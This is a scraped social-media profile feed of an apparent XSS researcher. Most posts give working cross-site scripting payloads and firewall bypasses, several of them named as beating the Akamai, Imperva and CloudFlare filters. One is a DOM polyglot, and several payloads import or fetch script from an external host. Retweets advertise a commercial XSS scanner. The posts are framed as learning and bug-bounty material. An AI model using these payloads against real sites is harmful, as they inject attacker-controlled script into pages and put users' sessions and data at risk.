Brute Logic

@BRuteLogic

Brazil 🇧🇷

Joined October 2009

279Following

63KFollowers

Pinned

Brute Logic@BRuteLogic · Sep 9

One #XSS Payload to Rule Them All #Bypass Akamai, Imperva and CloudFlare #WAF <A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)> #hack2learn @KN0X55

BRuteLogic's tweet image. One #XSS Payload to Rule Them All

#Bypass Akamai, Imperva and CloudFlare #WAF

&lt;A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)&gt;

#hack2learn @KN0X55

165

738

585

61.0K

Brute Logic@BRuteLogic · Jul 23

JSi - Escape the Escape Chinese and Japanese Charsets GBK, GBK2312, GBK19030 %81'/alert(1)// ISO-2022-JP %1B%28%4A'/alert(1)// For when a filter does that: '-alert(1)-' ➡️ \'-alert(1)-\' \'-alert(1)// ➡️ \\\'-alert(1)// #XSS #bypass #hack2learn web.archive.org/web/2024100912…

BRuteLogic's tweet card. So here are the 7 cases everyone should know to be able to PoC the vast majority of XSS flaws out there. A web page to show them

5.0K

Brute Logic@BRuteLogic · Jul 16

Practice your #XSS muscles. x55.is/brutelogic/gym

5.0K

Brute Logic Retweeted

KNOXSS@KN0X55 · Jul 20

#XSS #WAF #Bypass ➡️ CloudFlare <Img Src=OnXSS OnError=(alert)(1)> ➡️ Imperva <Image Src=//X55.is OnLoad%0C=import(Src)// ➡️ Akamai <A Href AutoFocus %252F="/"OnFocus=k='t',top['aler'%2Bk](1)> Sign up for free Blind XSS! knoxss.pro - built for pros. #WebAppSec

291

185

10.0K

Brute Logic@BRuteLogic · Jul 14

A DOM-Based #XSS Polyglot 1;/*'"><Img/Src/OnError=/**/confirm(1)//> If your input happens to end up in the DOM via innerHTML or eval(), it works for both cases. PoCs below. innerHTML: x55.is/brutelogic/dom… eval(): x55.is/brutelogic/dom…

153

110

9.0K

Brute Logic@BRuteLogic · Jul 11

knoxss.pro/?page_id=3249

2.0K

Brute Logic Retweeted

KNOXSS@KN0X55 · Jul 9

Get our current #XSS #CheatSheet and receive the next one! leanpub.com/brutexss

2.0K

Brute Logic Retweeted

KNOXSS@KN0X55 · Jul 2

🚨 KNOXSS GIVEAWAY July 2025 ✅ Follow us ✅ Like and share this 🎁 Prize: KNOXSS Pro for 1 Month 🏆 Results: July 7th (3 winners) Want to find some vulns? Get one of our plans and test for #XSS consistently. Sign up now! 😀 knoxss.pro #BugBounty #PenTesting

112

176

15.0K

Brute Logic Retweeted

Brute Logic@BRuteLogic · May 7

This might trick some #XSS filters out there, including CloudFlare's. <Svg OnLoad="alert//>%0A(1)"

166

131

9.0K

Brute Logic@BRuteLogic · Jun 10

Just another #XSS construct that some of you might find interesting and hopefully useful someday. x55.is/brutelogic/xss…

3.0K

Brute Logic Retweeted

KNOXSS@KN0X55 · Jun 5

*** KNOXSS GIVEAWAY June 2025 *** Directions: 1. Like 2. Share 3. Be a follower Prize: KNOXSS Pro for 1 Month Results: June 10th Number of Winners: 3 Good luck! 😀 knoxss.pro - #XSS for pros. #BugBounty #PenTesting

148

269

19.0K

Brute Logic@BRuteLogic · May 13

Our blog brutelogic.com.br/blog was shutted down in the beginning of this year. But here's the Internet Archive version of it, in case you are looking for: web.archive.org/web/2024110608…

6.0K

Brute Logic@BRuteLogic · May 23

Sometimes it doesn't take much to bypass a #WAF in a given #XSS context. For some of them, you will find that this very simple trick does the job. JavaScript%09:alert(1) Maybe you need to tweak the alert(1) a little bit but that's it.

3.0K

Brute Logic@BRuteLogic · May 22

The danger of #XSS when SOP can't help you. By @0dayWizard 0x80dotblog.wordpress.com/2025/04/21/fra…

4.0K

Brute Logic Retweeted

Brute Logic@BRuteLogic · May 13

Best Alternatives to "alert(1)" #XSS Payload 1. import('//X55.is') x55.is/brutelogic/xss… 2. $.getScript('//X55.is') x55.is/brutelogic/xss… 3. appendChild(createElement'script').src='//X55.is' x55.is/brutelogic/xss… Tip: use src attribute to store '//X55.is'. #hack2learn

179

178

11.0K